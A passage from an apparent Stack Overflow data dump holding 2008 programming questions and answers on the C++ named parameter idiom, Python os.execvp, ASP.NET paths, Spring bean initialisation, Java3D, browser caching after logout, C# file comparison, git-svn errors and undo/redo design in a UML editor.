public: ///////////////////////////////////////////////////////////////
createWindowOpts() { };
};
```
It works, but as you can see, it requires a noticeable amount of extra work: a type-cast on the return type for each function, extra template classes, etcetera.
My question is, is there an easier way to implement the Named Parameter Idiom in this case, one that doesn't require all the extra stuff?
|
Maybe not what you want to hear, but I for one think it's ok to have lots of ugly type-casts and template parameters in library-code that's (more or less) hidden from the client *as long as* it is safe *and* makes the life of the client a lot easier. The beauty in library code is not in the code itself, but in the code it enables the clients to write. Take STL for example.
I've also developed a small GUI-library as a personal project with basically the same aspirations as you and some of the code gets pretty ugly in it, but in the end it allows me to write beautiful client code (at least in my (possibly perverted) eyes) and that's what counts IMHO.
|
210,978 |
<p>I have a question about using <code>os.execvp</code> in Python. I have the following bit of code that's used to create a list of arguments:</p>
<pre>
args = [ "java"
, classpath
, "-Djava.library.path=" + lib_path()
, ea
, "-Xmx1000m"
, "-server"
, "code_swarm"
, params
]
</pre>
<p>When I output a string using <code>" ".join(args)</code> and paste that into my shell prompt, the JVM launches fine, and everything works. Everything works if I use <code>os.system(" ".join(args))</code> in my Python script, too.</p>
<p><em>But</em> the following bit of code does not work:</p>
<pre>os.execvp("java", args)</pre>
<p>I get the following error:</p>
<pre>
Unrecognized option: -classpath [and then the classpath I created, which looks okay]
Could not create the Java virtual machine.
</pre>
<p>So what gives? Why does copying/pasting into the shell or using <code>os.system()</code> work, but not <code>os.execvp()</code>?</p>
|
[
{
"answer_id": 210982,
"author": "CesarB",
"author_id": 28258,
"author_profile": "https://Stackoverflow.com/users/28258",
"pm_score": 5,
"selected": true,
"text": "<p>If your \"classpath\" variable contains for instance \"-classpath foo.jar\", it will not work, since it is thinking the option name is \"-classpath foo.jar\". Split it in two arguments: [..., \"-classpath\", classpath, ...].</p>\n\n<p>The other ways (copy and paste and system()) work because the shell splits the command line at the spaces (unless they are escaped or quoted). The command line is in fact passed down to the called program as an array (unlike on Windows), and the JVM is expecting to find an element with only \"-classpath\" followed by another element with the classpath.</p>\n\n<p>You can see the difference for yourself by calling the following small Python script instead of the JVM:</p>\n\n<pre><code>#!/usr/bin/python\nimport sys\nprint sys.argv\n</code></pre>\n"
},
{
"answer_id": 211898,
"author": "Alex Coventry",
"author_id": 1941213,
"author_profile": "https://Stackoverflow.com/users/1941213",
"pm_score": 0,
"selected": false,
"text": "<p>Make sure you aren't relying on shell expansion in your classpath. E.g. \"~/my.jar\" will get expanded by the shell in an os.system call, but not, I believe in an os.execvp call.</p>\n"
}
] |
2008/10/17
|
[
"https://Stackoverflow.com/questions/210978",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/28804/"
] |
I have a question about using `os.execvp` in Python. I have the following bit of code that's used to create a list of arguments:
```
args = [ "java"
, classpath
, "-Djava.library.path=" + lib_path()
, ea
, "-Xmx1000m"
, "-server"
, "code_swarm"
, params
]
```
When I output a string using `" ".join(args)` and paste that into my shell prompt, the JVM launches fine, and everything works. Everything works if I use `os.system(" ".join(args))` in my Python script, too.
*But* the following bit of code does not work:
```
os.execvp("java", args)
```
I get the following error:
```
Unrecognized option: -classpath [and then the classpath I created, which looks okay]
Could not create the Java virtual machine.
```
So what gives? Why does copying/pasting into the shell or using `os.system()` work, but not `os.execvp()`?
|
If your "classpath" variable contains for instance "-classpath foo.jar", it will not work, since it is thinking the option name is "-classpath foo.jar". Split it in two arguments: [..., "-classpath", classpath, ...].
The other ways (copy and paste and system()) work because the shell splits the command line at the spaces (unless they are escaped or quoted). The command line is in fact passed down to the called program as an array (unlike on Windows), and the JVM is expecting to find an element with only "-classpath" followed by another element with the classpath.
You can see the difference for yourself by calling the following small Python script instead of the JVM:
```
#!/usr/bin/python
import sys
print sys.argv
```
|
210,986 |
<p>Newbie question...</p>
<p>If I have a file that is in the root of the web app. How do I programmaticaly query the path of that file? ie, what directory it is in?</p>
|
[
{
"answer_id": 210993,
"author": "harpo",
"author_id": 4525,
"author_profile": "https://Stackoverflow.com/users/4525",
"pm_score": 2,
"selected": false,
"text": "<pre><code>System.Web.HttpServerUtility.MapPath( \"~/filename.ext\" );\n</code></pre>\n\n<p>will give you the physical (disk) path, which you would use with System.IO methods and such.</p>\n\n<pre><code>System.Web.Hosting.VirtualPathUtility.ToAbsolute( \"~/filename.ext\" );\n</code></pre>\n\n<p>will give you the \"absolute\" virtual path. This won't be the full url, but isn't necessarily the root of the domain, either. It could be something like</p>\n\n<pre>\n/admin/filename.ext\n</pre>\n\n<p>if the application is rooted in a subdirectory.</p>\n"
},
{
"answer_id": 211007,
"author": "Keith Nicholas",
"author_id": 10431,
"author_profile": "https://Stackoverflow.com/users/10431",
"pm_score": 0,
"selected": false,
"text": "<p>was close to what I was wanting..... except that didn't seem to compile or wasn't valid in the context I was calling it.</p>\n\n<p>However I found what I needed with System.Web.HttpRuntime.AppDomainAppPath</p>\n"
},
{
"answer_id": 211119,
"author": "Jason Whitehorn",
"author_id": 27860,
"author_profile": "https://Stackoverflow.com/users/27860",
"pm_score": 0,
"selected": false,
"text": "<p>If you are in your ASPX markup you can break out to C# and use the ResolveUrl method like so:</p>\n\n<pre><code><%= Page.ResolveUrl(\"~/PathFromRoot/YourFile.pdf\") %>\n</code></pre>\n"
},
{
"answer_id": 11439050,
"author": "Brian Warshaw",
"author_id": 1344,
"author_profile": "https://Stackoverflow.com/users/1344",
"pm_score": 0,
"selected": false,
"text": "<p>Old question, I know, but I found it while searching for a similar answer. Unless the API has changed, the reason why harpo's answer isn't working is because <code>MapPath</code> is an instance method, not a static method. But fear not--there's an instance of <code>HttpServerUtility</code> present in each instance of <code>Controller</code>--the <code>Server</code> property. So in your case, if you're within a controller (or, I suspect, a view):</p>\n\n<pre><code>var appRoot = Server.MapPath(\"~/\");\n</code></pre>\n\n<p>That should do the trick!</p>\n"
}
] |
2008/10/17
|
[
"https://Stackoverflow.com/questions/210986",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/10431/"
] |
Newbie question...
If I have a file that is in the root of the web app. How do I programmaticaly query the path of that file? ie, what directory it is in?
|
```
System.Web.HttpServerUtility.MapPath( "~/filename.ext" );
```
will give you the physical (disk) path, which you would use with System.IO methods and such.
```
System.Web.Hosting.VirtualPathUtility.ToAbsolute( "~/filename.ext" );
```
will give you the "absolute" virtual path. This won't be the full url, but isn't necessarily the root of the domain, either. It could be something like
```
/admin/filename.ext
```
if the application is rooted in a subdirectory.
|
210,996 |
<p>In spring you can initialize a bean by having the applicationContext.xml invoke a constructor, or you can set properties on the bean. What are the trade offs between the two approaches? Is it better to have a constructor (which enforces the contract of having everything it needs in one method) or is it better to have all properties (which gives you flexibility to only inject selectively for example when unit testing.)</p>
<p>What are the trade offs (between writing a bean that uses a constructor to establish it's initial state, or using properties and perhaps an afterProperties() method) ?</p>
|
[
{
"answer_id": 211112,
"author": "Dónal",
"author_id": 2648,
"author_profile": "https://Stackoverflow.com/users/2648",
"pm_score": 2,
"selected": false,
"text": "<p>IMO the major advantage of constructor injection is that it is compatible with immutability. However, if a class has more than about 3 dependencies, this requires providing a constructor which takes a large number of parameters, which is unwieldy.</p>\n\n<p>When using setter-injection, I prefer to use the <code>@PostConstruct</code> annotation to identify the initialization method. This involves looser coupling to the Spring framework than the <code>afterProperties()</code> method you mention (actually, I think it's <code>afterPropertiesSet()</code>). Another option is the init method attribute of the <code><bean></code> element.</p>\n"
},
{
"answer_id": 211141,
"author": "lycono",
"author_id": 28789,
"author_profile": "https://Stackoverflow.com/users/28789",
"pm_score": 5,
"selected": true,
"text": "<p>I'm not sure there is a \"best\" way to initialize a bean. I think there are pros and cons to each, and depending on the situation, one or the other might be appropriate. This certainly isn't an exhaustive list, but here are some things to consider.</p>\n\n<p>Using a constructor allows you to have an immutable bean. Immutable objects are good if you can fit them in your design. They don't require copying, serialized access or other special handling between threads. If you have setters, your object isn't immutable. Using a constructor also ensures the object is properly initialized. After the constructor finishes, the object is valid. If your object <em>requires</em> the use of setters to initialize it, it's possible to have an invalid object.</p>\n\n<p>On the other hand, using constructors often leads to a telescoping problem. Often times you'll need many different constructors, most of which will be a superset of another constructor. Often times these are for convenience. For instance:</p>\n\n<pre><code>public class Person {\n public Person(String name) { ... }\n public Person(String name, String phone) { ... }\n public Person(String name, String phone, String email) { ... }\n}\n</code></pre>\n\n<p>One alternative to this that I very much like is the so called \"enhanced\" builder pattern presented by Josh Bloch at JavaOne. You can see this in his book \"Effective Java, Second Edition\". If you look at the way the pattern is used, it will also solve your \"afterProperties\" method issue. The builder pattern will guarantee the object is correctly initialized.</p>\n\n<p>Here is an additional blog post discussing the pattern: <a href=\"http://www.screaming-penguin.com/node/7598\" rel=\"noreferrer\">http://www.screaming-penguin.com/node/7598</a></p>\n\n<p>I'm not sure this fits into your spring requirement, but in general, I'm a big fan of builder.</p>\n"
},
{
"answer_id": 211513,
"author": "Jaap Coomans",
"author_id": 26066,
"author_profile": "https://Stackoverflow.com/users/26066",
"pm_score": 2,
"selected": false,
"text": "<p>I don't know the version you are currently using, but if it is Spring 2.5 you could also consider using the @Autowired annotation for certain cases. This of coarse only works for references to other beans and not for Strings etc. as in lycony's example.</p>\n\n<p>It saves you the burden of creating setters and/or constructors and a lot of configuration.\nA little Example:</p>\n\n<pre><code>public class MyPersonBean {\n @Autowired\n private PersonManager personManager;\n\n public void doSomething() {\n this.personManager.doSomething();\n }\n}\n</code></pre>\n\n<p>And in your config file:</p>\n\n<pre><code><context:annotation-config/>\n</code></pre>\n\n<p>Autowiring is done by type, so if you have a bean of the type PersonManager, it will inject it in the annotated field. In case you have more beans of that type you can use the @Qualifier annotation to tell them apart...</p>\n\n<p>You can find more info about autowiring in the <a href=\"http://static.springframework.org/spring/docs/2.5.x/reference/beans.html#beans-autowired-annotation\" rel=\"nofollow noreferrer\">Spring Reference Documentation</a></p>\n\n<p>I started using @Autowired in combination with component-scanning in my previous project and I must say that I got rid of more than 90% of my Spring configuration files.</p>\n"
},
{
"answer_id": 214507,
"author": "MetroidFan2002",
"author_id": 8026,
"author_profile": "https://Stackoverflow.com/users/8026",
"pm_score": 0,
"selected": false,
"text": "<p>The tradeoffs:</p>\n\n<p>Constructor:\nBenefits:\nCan be very simple, esp. with three or less properties to initialize.\nOne-shot, no/minimal extra configuration to worry about.</p>\n\n<p>Drawbacks:\nMultiple constructors must be created for several situations\nConstructors aren't inherited, so classes must call super() and provide duplicate constructors to allow the previous behavior.</p>\n\n<p>Setters:\nBenefits:\nChildren inherit setters, so properties can be easily overridden to influence behavior after construction.\nMultiple properties may be specified in a unified fashion without looking up different method signatures (JavaBeans conventions)</p>\n\n<p>Drawbacks:\nEvery setter must be invoked explicitly for every property.\nLeads to some classes having large numbers of properties explicitly set.</p>\n"
},
{
"answer_id": 469687,
"author": "kukudas",
"author_id": 48402,
"author_profile": "https://Stackoverflow.com/users/48402",
"pm_score": 0,
"selected": false,
"text": "<p>You can also use <code>@Resource</code> to autowire instead of <code>@Autowired</code>, this works kinda like autowire byName so you don't have to worry if there are more beans with the same type (ofc you can also handle that with <code>@Qualifier</code>, but I would only recommend that to describe a characteristic of a bean). It really depends on your use case which way will be the best so you have to evaluate it for your situation and decide after.</p>\n"
}
] |
2008/10/17
|
[
"https://Stackoverflow.com/questions/210996",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/6580/"
] |
In spring you can initialize a bean by having the applicationContext.xml invoke a constructor, or you can set properties on the bean. What are the trade offs between the two approaches? Is it better to have a constructor (which enforces the contract of having everything it needs in one method) or is it better to have all properties (which gives you flexibility to only inject selectively for example when unit testing.)
What are the trade offs (between writing a bean that uses a constructor to establish it's initial state, or using properties and perhaps an afterProperties() method) ?
|
I'm not sure there is a "best" way to initialize a bean. I think there are pros and cons to each, and depending on the situation, one or the other might be appropriate. This certainly isn't an exhaustive list, but here are some things to consider.
Using a constructor allows you to have an immutable bean. Immutable objects are good if you can fit them in your design. They don't require copying, serialized access or other special handling between threads. If you have setters, your object isn't immutable. Using a constructor also ensures the object is properly initialized. After the constructor finishes, the object is valid. If your object *requires* the use of setters to initialize it, it's possible to have an invalid object.
On the other hand, using constructors often leads to a telescoping problem. Often times you'll need many different constructors, most of which will be a superset of another constructor. Often times these are for convenience. For instance:
```
public class Person {
public Person(String name) { ... }
public Person(String name, String phone) { ... }
public Person(String name, String phone, String email) { ... }
}
```
One alternative to this that I very much like is the so called "enhanced" builder pattern presented by Josh Bloch at JavaOne. You can see this in his book "Effective Java, Second Edition". If you look at the way the pattern is used, it will also solve your "afterProperties" method issue. The builder pattern will guarantee the object is correctly initialized.
Here is an additional blog post discussing the pattern: <http://www.screaming-penguin.com/node/7598>
I'm not sure this fits into your spring requirement, but in general, I'm a big fan of builder.
|
210,998 |
<p>I am attempting to insert a Canvas3D object inside a Swing JPanel, but the code doesn't seem to be working (i.e. nothing happens):</p>
<pre>
Canvas3D canvas = new Canvas3D(SimpleUniverse.getPreferredConfiguration());
SimpleUniverse universe = new SimpleUniverse(canvas);
BranchGroup root = new BranchGroup();
root.addChild(new ColorCube());
universe.addBranchGraph(root);
universe.getViewingPlatform().setNominalViewingTransform();
canvasPanel.add(canvas);
</pre>
<p>What am I missing? The JPanel was created using NetBean's Visual Editor.</p>
|
[
{
"answer_id": 211010,
"author": "Edward Z. Yang",
"author_id": 23845,
"author_profile": "https://Stackoverflow.com/users/23845",
"pm_score": 0,
"selected": false,
"text": "<p>Canvas3D needs a size passed to it; setting the preferred configuration from SimpleUniverse is not enough. In my case, that meant this code:</p>\n\n<pre> // 3D canvas initialization\n Canvas3D canvas = new Canvas3D(SimpleUniverse.getPreferredConfiguration());\n SimpleUniverse universe = new SimpleUniverse(canvas);\n BranchGroup root = new BranchGroup();\n root.addChild(new ColorCube());\n universe.addBranchGraph(root);\n universe.getViewingPlatform().setNominalViewingTransform();\n <strong>canvas.setSize(100, 100);</strong>\n canvasPanel.add(canvas);</pre>\n"
},
{
"answer_id": 211131,
"author": "Simon Lehmann",
"author_id": 27011,
"author_profile": "https://Stackoverflow.com/users/27011",
"pm_score": 3,
"selected": true,
"text": "<p>Probably you have to set a layout manager on the panel, which automatically expands the child components to the full area. A JPanel has a FlowLayout by default, which <em>does not</em> expand the child components. You could try a BorderLayout instead by calling:</p>\n\n<pre><code>canvasPanel.setLayout(new BorderLayout());\n</code></pre>\n"
}
] |
2008/10/17
|
[
"https://Stackoverflow.com/questions/210998",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/23845/"
] |
I am attempting to insert a Canvas3D object inside a Swing JPanel, but the code doesn't seem to be working (i.e. nothing happens):
```
Canvas3D canvas = new Canvas3D(SimpleUniverse.getPreferredConfiguration());
SimpleUniverse universe = new SimpleUniverse(canvas);
BranchGroup root = new BranchGroup();
root.addChild(new ColorCube());
universe.addBranchGraph(root);
universe.getViewingPlatform().setNominalViewingTransform();
canvasPanel.add(canvas);
```
What am I missing? The JPanel was created using NetBean's Visual Editor.
|
Probably you have to set a layout manager on the panel, which automatically expands the child components to the full area. A JPanel has a FlowLayout by default, which *does not* expand the child components. You could try a BorderLayout instead by calling:
```
canvasPanel.setLayout(new BorderLayout());
```
|
211,001 |
<p>In a normal web app w/ login and secure data, what is an easy way to secure that data and prevent it from being seen by using the browser's back button, once a user logs out? </p>
|
[
{
"answer_id": 211033,
"author": "tsilb",
"author_id": 11112,
"author_profile": "https://Stackoverflow.com/users/11112",
"pm_score": 0,
"selected": false,
"text": "<p>Depends on your login solution (SSO - Windows Live / OpenID vs homegrown, where login info is stored, etc)... Since 'back' doesn't generally request the page again, I'd suggest clearing the forms in JavaScript (OnLoad). On the server side, you can then populate them (Page_Load). Clear your session and viewstate upon logoff.</p>\n"
},
{
"answer_id": 211038,
"author": "Joshua",
"author_id": 11753,
"author_profile": "https://Stackoverflow.com/users/11753",
"pm_score": 1,
"selected": false,
"text": "<p>Set the caching headers to disallow any caching of the page at all. This should prevent even the page itself from being shown when the user hits the back button unless they are logged in.</p>\n"
},
{
"answer_id": 211079,
"author": "Wedge",
"author_id": 332,
"author_profile": "https://Stackoverflow.com/users/332",
"pm_score": 4,
"selected": true,
"text": "<p><a href=\"http://www.mnot.net/cache_docs/\" rel=\"nofollow noreferrer\">Here's a useful browser caching guide</a>.</p>\n\n<p>You want to set the cache-control and expiration date headers (setting a date in the past), e.g.</p>\n\n<pre><code> Cache-Control: no-cache\n Expires: Fri, 31 Dec 1998 12:00:00 GMT\n</code></pre>\n"
},
{
"answer_id": 211303,
"author": "Bell",
"author_id": 28158,
"author_profile": "https://Stackoverflow.com/users/28158",
"pm_score": 2,
"selected": false,
"text": "<p>Cache control headers (Expires, Cache-Control, ETag) will generally prevent the caching of the page, forcing the browser to request a new copy at which point you can check the session status. They are sometimes ignored in the interests of \"performance\" though.</p>\n\n<p>There are two Javascript approaches that could help you:</p>\n\n<ul>\n<li>Use the exit event from your page (onSubmit for forms or onUnload for other pages) to clear the content when leaving pages.</li>\n<li>Use document.location.replace() instead of normal links when moving between pages so as not to leave a trail in the browser history that the user could return to.</li>\n</ul>\n\n<p>Both of these are likely to have a pretty horrid effect on usability though.</p>\n"
},
{
"answer_id": 211507,
"author": "AJ.",
"author_id": 7211,
"author_profile": "https://Stackoverflow.com/users/7211",
"pm_score": 2,
"selected": false,
"text": "<h2>There is no perfect solution</h2>\n<p>Although there are some very reasonable solutions to this (cache control headers, javascript, etc), you need to realise that once you have sent something to a client, it is out of your control. <strong>You cannot <em>guarantee</em> that the client will treat the data in the way you would like</strong>.</p>\n<p>For example:</p>\n<ul>\n<li>there could be a bug in a browser</li>\n<li>a browser might allow users to turn off cache control</li>\n<li>a user might be running with javascript disabled</li>\n</ul>\n<p>Sorry :(</p>\n"
},
{
"answer_id": 494946,
"author": "Community",
"author_id": -1,
"author_profile": "https://Stackoverflow.com/users/-1",
"pm_score": 1,
"selected": false,
"text": "<p>I have tried this VB.NET code on IE and Firefox.</p>\n\n<p>Response.Cache.SetAllowResponseInBrowserHistory(False)\nResponse.Cache.SetCacheability(HttpCacheability.NoCache)\nResponse.Cache.SetNoStore()\nResponse.Expires = 0</p>\n\n<p>This does the trick, but I agree with the other answers where you can't guarantee what a client browser will behave.</p>\n"
}
] |
2008/10/17
|
[
"https://Stackoverflow.com/questions/211001",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/4444/"
] |
In a normal web app w/ login and secure data, what is an easy way to secure that data and prevent it from being seen by using the browser's back button, once a user logs out?
|
[Here's a useful browser caching guide](http://www.mnot.net/cache_docs/).
You want to set the cache-control and expiration date headers (setting a date in the past), e.g.
```
Cache-Control: no-cache
Expires: Fri, 31 Dec 1998 12:00:00 GMT
```
|
211,008 |
<p>How can I detect in C# whether two files are absolutely identical (size, content, etc.)?</p>
|
[
{
"answer_id": 211039,
"author": "yfeldblum",
"author_id": 12349,
"author_profile": "https://Stackoverflow.com/users/12349",
"pm_score": 1,
"selected": false,
"text": "<p>Or you can compare the two files byte-for-byte....</p>\n"
},
{
"answer_id": 211042,
"author": "Charlie",
"author_id": 18529,
"author_profile": "https://Stackoverflow.com/users/18529",
"pm_score": 5,
"selected": false,
"text": "<p>Here's a simple solution, which just reads both files and compares the data. It should be no slower than the hash method, since both methods will have to read the entire file. <strong>EDIT</strong> As noted by others, this implementation is actually somewhat slower than the hash method, because of its simplicity. See below for a faster method.</p>\n\n<pre><code>static bool FilesAreEqual( string f1, string f2 )\n{\n // get file length and make sure lengths are identical\n long length = new FileInfo( f1 ).Length;\n if( length != new FileInfo( f2 ).Length )\n return false;\n\n // open both for reading\n using( FileStream stream1 = File.OpenRead( f1 ) )\n using( FileStream stream2 = File.OpenRead( f2 ) )\n {\n // compare content for equality\n int b1, b2;\n while( length-- > 0 )\n {\n b1 = stream1.ReadByte();\n b2 = stream2.ReadByte();\n if( b1 != b2 )\n return false;\n }\n }\n\n return true;\n}\n</code></pre>\n\n<p>You could modify it to read more than one byte at a time, but the internal file stream should already be buffering the data, so even this simple code should be relatively fast.</p>\n\n<p><strong>EDIT</strong> Thanks for the feedback on speed here. I still maintain that the compare-all-bytes method can be just as fast as the MD5 method, since both methods have to read the entire file. I would suspect (but don't know for sure) that once the files have been read, the compare-all-bytes method requires less actual computation. In any case, I duplicated your performance observations for my initial implementation, but when I added some simple buffering, the compare-all-bytes method was just as fast. Below is the buffering implementation, feel free to comment further!</p>\n\n<p><strong>EDIT</strong> Jon B makes another good point: in the case where the files actually are different, this method can stop as soon as it finds the first different byte, whereas the hash method has to read the entirety of both files in every case.</p>\n\n<pre><code>static bool FilesAreEqualFaster( string f1, string f2 )\n{\n // get file length and make sure lengths are identical\n long length = new FileInfo( f1 ).Length;\n if( length != new FileInfo( f2 ).Length )\n return false;\n\n byte[] buf1 = new byte[4096];\n byte[] buf2 = new byte[4096];\n\n // open both for reading\n using( FileStream stream1 = File.OpenRead( f1 ) )\n using( FileStream stream2 = File.OpenRead( f2 ) )\n {\n // compare content for equality\n int b1, b2;\n while( length > 0 )\n {\n // figure out how much to read\n int toRead = buf1.Length;\n if( toRead > length )\n toRead = (int)length;\n length -= toRead;\n\n // read a chunk from each and compare\n b1 = stream1.Read( buf1, 0, toRead );\n b2 = stream2.Read( buf2, 0, toRead );\n for( int i = 0; i < toRead; ++i )\n if( buf1[i] != buf2[i] )\n return false;\n }\n }\n\n return true;\n}\n</code></pre>\n"
}
] |
2008/10/17
|
[
"https://Stackoverflow.com/questions/211008",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/-1/"
] |
How can I detect in C# whether two files are absolutely identical (size, content, etc.)?
|
Here's a simple solution, which just reads both files and compares the data. It should be no slower than the hash method, since both methods will have to read the entire file. **EDIT** As noted by others, this implementation is actually somewhat slower than the hash method, because of its simplicity. See below for a faster method.
```
static bool FilesAreEqual( string f1, string f2 )
{
// get file length and make sure lengths are identical
long length = new FileInfo( f1 ).Length;
if( length != new FileInfo( f2 ).Length )
return false;
// open both for reading
using( FileStream stream1 = File.OpenRead( f1 ) )
using( FileStream stream2 = File.OpenRead( f2 ) )
{
// compare content for equality
int b1, b2;
while( length-- > 0 )
{
b1 = stream1.ReadByte();
b2 = stream2.ReadByte();
if( b1 != b2 )
return false;
}
}
return true;
}
```
You could modify it to read more than one byte at a time, but the internal file stream should already be buffering the data, so even this simple code should be relatively fast.
**EDIT** Thanks for the feedback on speed here. I still maintain that the compare-all-bytes method can be just as fast as the MD5 method, since both methods have to read the entire file. I would suspect (but don't know for sure) that once the files have been read, the compare-all-bytes method requires less actual computation. In any case, I duplicated your performance observations for my initial implementation, but when I added some simple buffering, the compare-all-bytes method was just as fast. Below is the buffering implementation, feel free to comment further!
**EDIT** Jon B makes another good point: in the case where the files actually are different, this method can stop as soon as it finds the first different byte, whereas the hash method has to read the entirety of both files in every case.
```
static bool FilesAreEqualFaster( string f1, string f2 )
{
// get file length and make sure lengths are identical
long length = new FileInfo( f1 ).Length;
if( length != new FileInfo( f2 ).Length )
return false;
byte[] buf1 = new byte[4096];
byte[] buf2 = new byte[4096];
// open both for reading
using( FileStream stream1 = File.OpenRead( f1 ) )
using( FileStream stream2 = File.OpenRead( f2 ) )
{
// compare content for equality
int b1, b2;
while( length > 0 )
{
// figure out how much to read
int toRead = buf1.Length;
if( toRead > length )
toRead = (int)length;
length -= toRead;
// read a chunk from each and compare
b1 = stream1.Read( buf1, 0, toRead );
b2 = stream2.Read( buf2, 0, toRead );
for( int i = 0; i < toRead; ++i )
if( buf1[i] != buf2[i] )
return false;
}
}
return true;
}
```
|
211,025 |
<p>I have been maintaining <a href="http://github.com/Pistos/watir-mirror" rel="noreferrer">the git mirror</a> of <a href="http://wtr.rubyforge.org/" rel="noreferrer">the watir project</a>. Some time a couple weeks ago, we had someone ready to submit their first git-based patch. Unfortunately, we ran into some issues regarding line endings (CRLF vs. LF, etc.) because of the multi-platform nature of the project.</p>
<p>I tried what I could to set <a href="http://git-scm.com/docs/gitattributes" rel="noreferrer">the autocrlf option</a> (to 'input'), and do some --hard resets. However, a few days later, the daily update (git svn rebase) is spewing this error:</p>
<pre><code>Incomplete data: Delta source ended unexpectedly
</code></pre>
<p>I've tried googling around for what to do, but even removing the autocrlf setting in the .git/config hasn't helped. I fear the working copy is corrupt, but I hope it is not unrecoverable.</p>
<p>Obviously, a possible course of action is to just re-import from svn and start a fresh mirror, but I hope we don't have to do that, since the current watir-mirror has already been forked, and people have developed new code in their forks.</p>
<p>Thanks in advance for any help.</p>
|
[
{
"answer_id": 211036,
"author": "CesarB",
"author_id": 28258,
"author_profile": "https://Stackoverflow.com/users/28258",
"pm_score": 3,
"selected": false,
"text": "<p>From personal experience, git-svn always generates the exact same commits when cloning or fetching from a svn repository with the same parameters (try it: create a dummy repository, clone it with git-svn, do some more commits, clone it again, and fetch on the first copy; the resulting commits should have the exact same hash).</p>\n\n<p>This gives you an interesting option: you can start a separate fresh mirror with the same parameters, and compare both to see where they diverge (or it they diverge at all; be sure to compare the hashes, since they are what matters). If they are the same (or you decide the commits after they diverge don't matter), you can use the fresh mirror without breaking the forks (or breaking less of them, if you decided to ignore a few diverging commits).</p>\n"
},
{
"answer_id": 4938148,
"author": "Todd Wagner",
"author_id": 608775,
"author_profile": "https://Stackoverflow.com/users/608775",
"pm_score": 4,
"selected": false,
"text": "<p>I had this same problem in trying to create a git repository from the brlcad svn repository. I solved it by doing <code>git svn reset --r XXXXX</code>, where I set XXXXX to be about 50 revisions prior to the one that originally produced the error. </p>\n\n<p>Stepping back a single revision was not successful in resolving the error. As part of the process, I received errors from git about HEAD not being defined. To resolve this, I did a <code>git svn find-rev XXXXX</code> to determine the hash corresponding to the revision I wanted, then git checkout. After this, the errors about HEAD were gone and the <code>git svn reset -r XXXXX</code> worked.</p>\n"
},
{
"answer_id": 4952983,
"author": "yigit",
"author_id": 608649,
"author_profile": "https://Stackoverflow.com/users/608649",
"pm_score": 0,
"selected": false,
"text": "<p>i had the same problem and like Todd's case, going to a previous revision fixed the problem. </p>\n\n<p>I think the solution is to go to two steps previous revision of the problematic file.</p>\n"
},
{
"answer_id": 12161138,
"author": "Trevor",
"author_id": 400327,
"author_profile": "https://Stackoverflow.com/users/400327",
"pm_score": 0,
"selected": false,
"text": "<p>I've seen a similar problem. It occurs when I do a partial clone of an svn repo. I'm guess git-svn can't find the original source of the file when doing a dcommit. I've fixed it by ensuring I'm completely up to date (git svn rebase) then using git svn set-tree to commit specific changes to subversion. If you have a lot of changes to commit, this can be a pain since you need to manually commit each change in order but it works well if you only have one or two commits to push.</p>\n"
},
{
"answer_id": 16592981,
"author": "Don Branson",
"author_id": 56076,
"author_profile": "https://Stackoverflow.com/users/56076",
"pm_score": 2,
"selected": false,
"text": "<p>I had the same problem with <code>git svn fetch</code>, but the reset approach didn't work for me, perhaps because I don't really know when the corruption occurred. Here's what finally worked for me. I did a <code>git svn fetch --ignore-paths=\"/branches/\"</code> which ran without error. After that, I once again did my <code>git svn fetch</code>, and this time worked.</p>\n"
}
] |
2008/10/17
|
[
"https://Stackoverflow.com/questions/211025",
"https://Stackoverflow.com",
"https://Stackoverflow.com/users/28558/"
] |
I have been maintaining [the git mirror](http://github.com/Pistos/watir-mirror) of [the watir project](http://wtr.rubyforge.org/). Some time a couple weeks ago, we had someone ready to submit their first git-based patch. Unfortunately, we ran into some issues regarding line endings (CRLF vs. LF, etc.) because of the multi-platform nature of the project.
I tried what I could to set [the autocrlf option](http://git-scm.com/docs/gitattributes) (to 'input'), and do some --hard resets. However, a few days later, the daily update (git svn rebase) is spewing this error:
```
Incomplete data: Delta source ended unexpectedly
```
I've tried googling around for what to do, but even removing the autocrlf setting in the .git/config hasn't helped. I fear the working copy is corrupt, but I hope it is not unrecoverable.
Obviously, a possible course of action is to just re-import from svn and start a fresh mirror, but I hope we don't have to do that, since the current watir-mirror has already been forked, and people have developed new code in their forks.
Thanks in advance for any help.
|
I had this same problem in trying to create a git repository from the brlcad svn repository. I solved it by doing `git svn reset --r XXXXX`, where I set XXXXX to be about 50 revisions prior to the one that originally produced the error.
Stepping back a single revision was not successful in resolving the error. As part of the process, I received errors from git about HEAD not being defined. To resolve this, I did a `git svn find-rev XXXXX` to determine the hash corresponding to the revision I wanted, then git checkout. After this, the errors about HEAD were gone and the `git svn reset -r XXXXX` worked.
|
211,034 |
<p>I'm working on a small UML editor project, in Java, that I started a couple of months ago. After a few weeks, I got a working copy for a UML class diagram editor.</p>
<p>But now, I'm redesigning it completely to support other types of diagrams, such a sequence, state, class, etc. This is done by implementing a graph construction framework (I'm greatly inspired by Cay Horstmann work on the subject with the Violet UML editor).</p>
<p>Redesign was going smoothly until one of my friends told me that I forgot to add a Do/Undo functionnality to the project, which, in my opinion, is vital.</p>
<p>Remembering object oriented design courses, I immediately thought of Memento and Command pattern.</p>
<p>Here's the deal. I have a abstract class, AbstractDiagram, that contains two ArrayLists : one for storing nodes (called Elements in my project) and the other for storing Edges (called Links in my projects). The diagram will probably keep a stack of commands that can be Undoed/Redoed. Pretty standard.</p>
<p>How can I execute these commands in a efficient way? Say, for example, that I want to move a node (the node will be an interface type named INode, and there will be concrete nodes derived from it (ClassNode, InterfaceNode, NoteNode, etc.)). </p>
<p>The position information is held as an attribute in the node, so by modying that attribute in the node itself, the state is changed. When the display will be refreshed, the node will have moved. This is the Memento part of the pattern (I think), with the difference that the object is the state itself.</p>
<p>Moreover, if I keep a clone of the original node (before it moved), I can get back to its old version. The same technique applies for the information contained in the node (the class or interface name, the text for a note node, the attributes name, and so on).</p>
